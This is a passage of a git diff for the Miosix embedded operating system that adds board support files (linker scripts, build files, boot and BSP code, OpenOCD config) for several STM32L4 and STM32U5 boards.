ram1(wx) : ORIGIN = 0x10000000, LENGTH = 32K /* ram1 must be the small one */ + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 96K /* ram2 must be the large one */ +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-pool.ld diff --git a/miosix/arch/board/stm32l476rg_nucleo/unikernel.ld b/miosix/arch/board/stm32l476rg_nucleo/unikernel.ld new file mode 100644 index 000000000..1b4a6388f --- /dev/null +++ b/miosix/arch/board/stm32l476rg_nucleo/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32l476 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 32K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 96K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/CMakeLists.txt b/miosix/arch/board/stm32l4r9zi_sensortile/CMakeLists.txt new file mode 100644 index 000000000..fe41c95de --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/CMakeLists.txt @@ -0,0 +1,37 @@ +## +## CMakeLists.txt for board stm32l4r9zi_sensortile +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32l4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM (file unikernel.ld) + # 2) Same as 1) but space has been reserved for a process pool, allowing + # to configure the kernel with "#define WITH_PROCESSES" + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32l4_sd.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32L4R9ZI_SENSORTILE) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32L4R9ZI_SENSORTILE) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/Makefile.inc b/miosix/arch/board/stm32l4r9zi_sensortile/Makefile.inc new file mode 100644 index 000000000..0a8de12a1 --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for board stm32l4r9zi_sensortile +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32l4 + +## Select linker script +#LINKER_SCRIPT := already selected in board options + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp \ +arch/drivers/sdmmc/stm32l4_sd.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32L4R9ZI_SENSORTILE +BOARD_CXXFLAGS := -D_BOARD_STM32L4R9ZI_SENSORTILE + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/boot.cpp b/miosix/arch/board/stm32l4r9zi_sensortile/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..8d205b9e5 --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32l4xx.h before core_cm4.h, there's some nasty dependency +#define STM32L4R9xx +#include "CMSIS/Device/ST/STM32L4xx/Include/stm32l4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32l4, RCC synchronization is required per the reference manual +//(RM0432 section 6.2.18). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 94, so there are 95 +#define MIOSIX_NUM_PERIPHERAL_IRQ 95 diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..637318273 --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp.cpp @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32l4_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB2ENR |= RCC_AHB2ENR_GPIOAEN | RCC_AHB2ENR_GPIOBEN | + RCC_AHB2ENR_GPIOCEN | RCC_AHB2ENR_GPIODEN | + RCC_AHB2ENR_GPIOEEN | RCC_AHB2ENR_GPIOFEN | + RCC_AHB2ENR_GPIOGEN | RCC_AHB2ENR_GPIOHEN | + RCC_AHB2ENR_GPIOIEN; + + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + GPIOG->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + GPIOI->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + _greenLed::mode(Mode::OUTPUT); + sdCardDetect::mode(Mode::INPUT_PULL_UP); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole(intrusive_ref_ptr( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma))); + +} + + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..0f74a339e --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/interfaces-impl/bsp_impl.h @@ -0,0 +1,95 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * Copyright (C) 2023 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +typedef Gpio _greenLed; + +inline void greenLedOn() +{ + _greenLed::high(); +} + +inline void greenLedOff() +{ + _greenLed::low(); +} + +typedef Gpio _usart2_rts; + + +///\internal Pin connected to SD_DETECT +typedef Gpio sdCardDetect; + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + * \note According to the schematic, SD_DETECT is shorted to GND when the card + * is removed, and open when the card is inserted. + */ +inline bool sdCardSense() +{ + return sdCardDetect::value()!=0; +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32l4r9zi_sensortile.cfg b/miosix/arch/board/stm32l4r9zi_sensortile/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/stm32l4r9zi_sensortile.cfg rename to miosix/arch/board/stm32l4r9zi_sensortile/openocd.cfg diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/processes.ld b/miosix/arch/board/stm32l4r9zi_sensortile/processes.ld new file mode 100644 index 000000000..d4bc8a11b --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32l4r9 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 512K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 640K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32l4r9zi_sensortile/unikernel.ld b/miosix/arch/board/stm32l4r9zi_sensortile/unikernel.ld new file mode 100644 index 000000000..a9129f2c3 --- /dev/null +++ b/miosix/arch/board/stm32l4r9zi_sensortile/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32l4r9 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 640K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32u535cb_rrc/CMakeLists.txt b/miosix/arch/board/stm32u535cb_rrc/CMakeLists.txt new file mode 100644 index 000000000..f51d528aa --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32u535cb_rrc +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32u5) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32U535CB_RRC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32U535CB_RRC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D ) diff --git a/miosix/arch/board/stm32u535cb_rrc/Makefile.inc b/miosix/arch/board/stm32u535cb_rrc/Makefile.inc new file mode 100644 index 000000000..364548608 --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/Makefile.inc @@ -0,0 +1,27 @@ +## +## Makefile for board stm32u535cb_rrc +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32u5 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp +# arch/drivers/stm32_hardware_rng.cpp \ + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32U535CB_RRC +BOARD_CXXFLAGS := -D_BOARD_STM32U535CB_RRC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D \ + $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/stm32u535cb_rrc/boot.cpp b/miosix/arch/board/stm32u535cb_rrc/boot.cpp new file mode 100644 index 000000000..3bf9ae8fb --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/boot.cpp @@ -0,0 +1,43 @@ +/*************************************************************************** + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "drivers/clock/stm32u5_pll.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); + + startPll(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..440516e95 --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,18 @@ +#pragma once + +#define STM32U535xx +#include "CMSIS/Device/ST/STM32U5xx/Include/stm32u5xx.h" +#include "CMSIS/Include/core_cm33.h" +#include "CMSIS/Device/ST/STM32U5xx/Include/system_stm32u5xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the RCC +//after modifying peripheral clocks/resets. It should be defined to a no-op on +//architectures without bus access reordering, and to a __DSB() on all other +//ARM architectures. The DMB is required for example in stm32f42x +//microcontrollers. Note that reordering does not necessarily happen at the +//CPU level alone, the bus matrices and peripherals themselves may also reorder +//accesses as a side-effect of how they work. +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 125, so there are 126 +#define MIOSIX_NUM_PERIPHERAL_IRQ 126 diff --git a/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..cf87765b0 --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp.cpp @@ -0,0 +1,116 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2026 Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces_private/bsp_private.h" +#include "interfaces/poweroff.h" +#include "filesystem/file_access.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->AHB2ENR1 |= RCC_AHB2ENR1_GPIOAEN | RCC_AHB2ENR1_GPIOBEN | + RCC_AHB2ENR1_GPIOCEN | RCC_AHB2ENR1_GPIODEN | + RCC_AHB2ENR1_GPIOHEN; + + RCC->AHB2ENR1 |= RCC_AHB2ENR1_SRAM2EN; + + RCC->APB3ENR |= RCC_APB3ENR_SYSCFGEN; + + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + + // Initialize default serial + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial, defaultSerialSpeed, defaultSerialFlowctrl, + defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +};//namespace miosix diff --git a/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..6b51d6d6c --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/interfaces-impl/bsp_impl.h @@ -0,0 +1,72 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +//#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32u535cb_rrc/openocd.cfg b/miosix/arch/board/stm32u535cb_rrc/openocd.cfg new file mode 100644 index 000000000..f5f64c854 --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/openocd.cfg @@ -0,0 +1,11 @@ +# +# OpenOCD configuration file for in-circuit debugging of stm32 +# + +source [find interface/stlink.cfg] + +transport select hla_swd + +source [find target/stm32u5x.cfg] + +reset_config srst_only diff --git a/miosix/arch/board/stm32u535cb_rrc/unikernel.ld b/miosix/arch/board/stm32u535cb_rrc/unikernel.ld new file mode 100644 index 000000000..cd335279d --- /dev/null +++ b/miosix/arch/board/stm32u535cb_rrc/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for STM32U535 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 256K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32u585ci_generic/CMakeLists.txt b/miosix/arch/board/stm32u585ci_generic/CMakeLists.txt new file mode 100644 index 000000000..5ca8dd5d6 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/CMakeLists.txt @@ -0,0 +1,33 @@ +## +## CMakeLists.txt for board stm32u585ci_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32u5) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32U585CI_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32U585CI_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/stm32u585ci_generic/Makefile.inc b/miosix/arch/board/stm32u585ci_generic/Makefile.inc new file mode 100644 index 000000000..bc8b954da --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32u585ci_generic +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32u5 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp +# arch/drivers/stm32_hardware_rng.cpp \ + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32U585CI_GENERIC +BOARD_CXXFLAGS := -D_BOARD_STM32U585CI_GENERIC + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +#PROG ?= st-flash --connect-under-reset --reset write \ +# $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 +PROG ?= dfu-util -d 0483:df11 -a 0 -s 0x08000000:leave -D \ + $(if $(ROMFS_DIR), image.bin, main.bin) diff --git a/miosix/arch/board/stm32u585ci_generic/boot.cpp b/miosix/arch/board/stm32u585ci_generic/boot.cpp new file mode 100644 index 000000000..3bf9ae8fb --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/boot.cpp @@ -0,0 +1,43 @@ +/*************************************************************************** + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "drivers/clock/stm32u5_pll.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); + + startPll(); +} + +} // namespace miosix diff --git 